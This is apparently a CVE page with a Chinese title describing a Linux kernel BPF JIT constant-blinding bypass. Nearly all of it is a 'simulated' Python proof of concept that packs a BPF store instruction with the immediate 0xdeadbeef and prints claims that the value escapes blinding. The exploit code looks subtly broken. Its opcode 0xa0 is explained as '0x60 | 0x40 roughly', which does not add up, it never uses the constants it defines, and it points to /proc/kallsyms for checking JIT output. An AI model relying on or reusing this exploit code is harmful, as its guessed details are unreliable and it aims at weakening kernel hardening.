CVE-2026-23417: Linux内核BPF JIT常量混淆绕过漏洞

import os import struct import ctypes # Simulated PoC for CVE-2026-23417 # This script demonstrates the logic to construct a BPF instruction # that triggers the vulnerable path (BPF_ST | BPF_PROBE_MEM32). BPF_ST = 0x02 BPF_W = 0x00 BPF_PROBE_MEM32 = 0x80 # The vulnerable opcode mode is 0xa0 (0x60 | 0x40 roughly, based on description context) VULN_CLASS = 0xa0 def bpf_insn(code, dst, src, off, imm): # struct bpf_insn packing return struct.pack("BBhhi", code, (dst & 0xF) | ((src & 0xF) << 4), off, imm) # Instruction: BPF_ST | BPF_PROBE_MEM32, [R1 + 0], 0xdeadbeef # We assume the verifier rewrites a normal store to this for arena pointers. # Here we simulate the resulting instruction class if we could inject it directly # or trigger the rewrite path. insn_store = bpf_insn(VULN_CLASS, 1, 0, 0, 0xdeadbeef) insn_exit = bpf_insn(0x95, 0, 0, 0, 0) prog = insn_store + insn_exit print("[+] Constructed BPF program containing vulnerable instruction class.") print(f"[+] Opcode: {hex(VULN_CLASS)}") print("[!] On a vulnerable kernel with bpf_jit_harden >= 1:") print("[!] The immediate 0xdeadbeef will NOT be blinded in the JIT output.") print("[!] This can be verified by inspecting /proc/kallsyms or JIT dump.")